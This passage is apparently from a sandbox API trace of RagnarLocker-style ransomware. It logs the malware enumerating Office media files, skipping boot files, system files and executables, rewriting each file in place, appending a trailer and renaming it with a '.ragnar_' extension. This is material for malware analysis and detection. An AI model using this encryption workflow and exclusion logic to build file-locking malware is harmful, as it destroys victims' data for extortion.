lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.530] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.530] GetProcessHeap () returned 0x580000 [0096.530] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.530] CloseHandle (hObject=0xf4) returned 1 [0096.530] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18193_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18193_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18193_.WMF" [0096.530] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18193_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18193_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18193_.WMF.ragnar_FD7BD9FC" [0096.530] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18193_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18193_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18193_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18193_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.531] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29e33800, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29e33800, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0xdde, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18194_.WMF", cAlternateFileName="")) returned 1 [0096.531] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.531] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18194_.WMF" | out: lpString1="BD18194_.WMF") returned="BD18194_.WMF" [0096.531] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18194_.WMF") returned=".WMF" [0096.531] lstrcmpiW (lpString1="BD18194_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.531] lstrcmpiW (lpString1="BD18194_.WMF", lpString2="autorun.inf") returned 1 [0096.531] lstrcmpiW (lpString1="BD18194_.WMF", lpString2="boot.ini") returned -1 [0096.531] lstrcmpiW (lpString1="BD18194_.WMF", lpString2="bootfont.bin") returned -1 [0096.531] lstrcmpiW (lpString1="BD18194_.WMF", lpString2="bootsect.bak") returned -1 [0096.531] lstrcmpiW (lpString1="BD18194_.WMF", lpString2="bootmgr") returned -1 [0096.531] lstrcmpiW (lpString1="BD18194_.WMF", lpString2="bootmgr.efi") returned -1 [0096.531] lstrcmpiW (lpString1="BD18194_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.531] lstrcmpiW (lpString1="BD18194_.WMF", lpString2="desktop.ini") returned -1 [0096.531] lstrcmpiW (lpString1="BD18194_.WMF", lpString2="iconcache.db") returned -1 [0096.531] lstrcmpiW (lpString1="BD18194_.WMF", lpString2="ntldr") returned -1 [0096.531] lstrcmpiW (lpString1="BD18194_.WMF", lpString2="ntuser.dat") returned -1 [0096.531] lstrcmpiW (lpString1="BD18194_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.531] lstrcmpiW (lpString1="BD18194_.WMF", lpString2="ntuser.ini") returned -1 [0096.531] lstrcmpiW (lpString1="BD18194_.WMF", lpString2="thumbs.db") returned -1 [0096.531] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.531] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.531] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.531] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.531] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.531] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.531] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18194_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18194_.wmf")) returned 0x20 [0096.532] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18194_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18194_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.532] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=3550) returned 1 [0096.532] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xdd5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.532] GetProcessHeap () returned 0x580000 [0096.532] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.532] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.534] VirtualAlloc (lpAddress=0x0, dwSize=0xdde, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.534] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.534] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.534] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xdde, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xdde, lpOverlapped=0x0) returned 1 [0096.534] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.534] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xdde, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.534] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xdde, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xdde, lpOverlapped=0x0) returned 1 [0096.534] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xdde, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.534] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.534] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xdde, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.534] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.534] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.535] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.535] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.535] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.535] GetProcessHeap () returned 0x580000 [0096.535] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.535] CloseHandle (hObject=0xf4) returned 1 [0096.535] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18194_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18194_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18194_.WMF" [0096.535] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18194_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18194_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18194_.WMF.ragnar_FD7BD9FC" [0096.535] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18194_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18194_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18194_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18194_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.536] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4404e00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf4404e00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18196_.WMF", cAlternateFileName="")) returned 1 [0096.536] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.536] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18196_.WMF" | out: lpString1="BD18196_.WMF") returned="BD18196_.WMF" [0096.536] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18196_.WMF") returned=".WMF" [0096.536] lstrcmpiW (lpString1="BD18196_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.536] lstrcmpiW (lpString1="BD18196_.WMF", lpString2="autorun.inf") returned 1 [0096.536] lstrcmpiW (lpString1="BD18196_.WMF", lpString2="boot.ini") returned -1 [0096.536] lstrcmpiW (lpString1="BD18196_.WMF", lpString2="bootfont.bin") returned -1 [0096.536] lstrcmpiW (lpString1="BD18196_.WMF", lpString2="bootsect.bak") returned -1 [0096.536] lstrcmpiW (lpString1="BD18196_.WMF", lpString2="bootmgr") returned -1 [0096.536] lstrcmpiW (lpString1="BD18196_.WMF", lpString2="bootmgr.efi") returned -1 [0096.536] lstrcmpiW (lpString1="BD18196_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.536] lstrcmpiW (lpString1="BD18196_.WMF", lpString2="desktop.ini") returned -1 [0096.536] lstrcmpiW (lpString1="BD18196_.WMF", lpString2="iconcache.db") returned -1 [0096.536] lstrcmpiW (lpString1="BD18196_.WMF", lpString2="ntldr") returned -1 [0096.536] lstrcmpiW (lpString1="BD18196_.WMF", lpString2="ntuser.dat") returned -1 [0096.536] lstrcmpiW (lpString1="BD18196_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.536] lstrcmpiW (lpString1="BD18196_.WMF", lpString2="ntuser.ini") returned -1 [0096.536] lstrcmpiW (lpString1="BD18196_.WMF", lpString2="thumbs.db") returned -1 [0096.536] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.536] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.536] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.536] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.536] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.536] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.536] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18196_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18196_.wmf")) returned 0x20 [0096.537] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18196_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18196_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.537] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1444) returned 1 [0096.537] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x59b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.537] GetProcessHeap () returned 0x580000 [0096.537] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.537] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.538] VirtualAlloc (lpAddress=0x0, dwSize=0x5a4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.538] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.538] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.539] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5a4, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x5a4, lpOverlapped=0x0) returned 1 [0096.539] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.539] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5a4, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.539] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5a4, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x5a4, lpOverlapped=0x0) returned 1 [0096.539] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5a4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.539] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.539] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.539] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.539] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.539] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.539] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.539] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.539] GetProcessHeap () returned 0x580000 [0096.539] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.539] CloseHandle (hObject=0xf4) returned 1 [0096.540] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18196_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18196_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18196_.WMF" [0096.540] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18196_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18196_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18196_.WMF.ragnar_FD7BD9FC" [0096.540] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18196_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18196_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18196_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18196_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.540] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6adbc800, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6adbc800, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x5b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18197_.WMF", cAlternateFileName="")) returned 1 [0096.540] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.540] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18197_.WMF" | out: lpString1="BD18197_.WMF") returned="BD18197_.WMF" [0096.540] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18197_.WMF") returned=".WMF" [0096.540] lstrcmpiW (lpString1="BD18197_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.540] lstrcmpiW (lpString1="BD18197_.WMF", lpString2="autorun.inf") returned 1 [0096.540] lstrcmpiW (lpString1="BD18197_.WMF", lpString2="boot.ini") returned -1 [0096.541] lstrcmpiW (lpString1="BD18197_.WMF", lpString2="bootfont.bin") returned -1 [0096.541] lstrcmpiW (lpString1="BD18197_.WMF", lpString2="bootsect.bak") returned -1 [0096.541] lstrcmpiW (lpString1="BD18197_.WMF", lpString2="bootmgr") returned -1 [0096.541] lstrcmpiW (lpString1="BD18197_.WMF", lpString2="bootmgr.efi") returned -1 [0096.541] lstrcmpiW (lpString1="BD18197_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.541] lstrcmpiW (lpString1="BD18197_.WMF", lpString2="desktop.ini") returned -1 [0096.541] lstrcmpiW (lpString1="BD18197_.WMF", lpString2="iconcache.db") returned -1 [0096.541] lstrcmpiW (lpString1="BD18197_.WMF", lpString2="ntldr") returned -1 [0096.541] lstrcmpiW (lpString1="BD18197_.WMF", lpString2="ntuser.dat") returned -1 [0096.541] lstrcmpiW (lpString1="BD18197_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.541] lstrcmpiW (lpString1="BD18197_.WMF", lpString2="ntuser.ini") returned -1 [0096.541] lstrcmpiW (lpString1="BD18197_.WMF", lpString2="thumbs.db") returned -1 [0096.541] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.541] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.541] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.541] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.541] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.541] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.541] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.541] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18197_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18197_.wmf")) returned 0x20 [0096.542] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18197_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18197_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.542] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1460) returned 1 [0096.542] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.542] GetProcessHeap () returned 0x580000 [0096.542] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.542] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.544] VirtualAlloc (lpAddress=0x0, dwSize=0x5b4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.544] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.544] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.544] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5b4, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x5b4, lpOverlapped=0x0) returned 1 [0096.544] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.544] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5b4, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.544] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5b4, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x5b4, lpOverlapped=0x0) returned 1 [0096.544] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5b4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.544] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.544] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.544] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.544] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.545] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.545] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.545] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, 